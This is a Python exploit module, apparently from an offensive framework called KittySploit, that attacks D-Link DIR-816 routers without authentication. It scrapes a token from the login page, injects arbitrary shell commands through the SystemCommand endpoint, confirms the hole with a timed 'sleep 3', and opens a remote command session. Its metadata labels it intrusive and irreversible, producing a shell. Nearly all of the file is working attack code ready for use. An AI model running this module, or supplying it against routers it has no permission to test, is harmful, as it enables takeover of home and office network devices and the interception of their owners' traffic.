D-Link DIR-816 - SystemCommand Command Injection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DIR-816 SystemCommand RCE — opens execute session."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'D-Link DIR-816 - SystemCommand Command Injection',
        'description': (
            'Exploits DIR-816 /goform/SystemCommand after extracting tokenid from '
            '/dir_login.asp. Command output is not always echoed; uses time-based check '
            'then best-effort execute. Prefer writing to a reachable path when possible.'
        ),
        'author': ['KittySploit Team'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.exploit-db.com/exploits/47150'],
        'tags': ['dlink', 'router', 'rce', 'cmdi', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.6,
            'value': 0.9,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'scanner/http/dlink_dir816_systemcommand_rce_detect',
                ],
            },
        },
    }

    _token = ''

    def _get_token(self) -> str:
        if self._token:
            return self._token
        r = self.http_request(method='GET', path='/dir_login.asp', allow_redirects=False)
        if not r:
            return ''
        m = re.search(r'name=["\']tokenid["\']\s*value=["\']([0-9a-z]+)["\']', r.text or '', re.I)
        if not m:
            return ''
        self._token = m.group(1)
        return self._token

    def execute(self, cmd: str) -> str:
        token = self._get_token()
        if not token:
            return ''
        safe = str(cmd).replace('&', ';')
        r = self.http_request(
            method='POST',
            path='/goform/SystemCommand',
            data=f'command={safe}&tokenid={token}',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        token = self._get_token()
        if not token:
            return {
                'vulnerable': False,
                'reason': 'tokenid not found',
                'confidence': 'medium',
            }
        import time
        t0 = time.time()
        self.execute('sleep 3')
        if time.time() - t0 >= 3:
            return {
                'vulnerable': True,
                'reason': 'DIR-816 SystemCommand sleep delay confirmed',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'No timing side-channel observed',
            'confidence': 'medium',
        }

    def check_execute(self):
        # Blind channel: treat successful sleep check as enough to open session.
        return bool(self.check().get('vulnerable'))

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()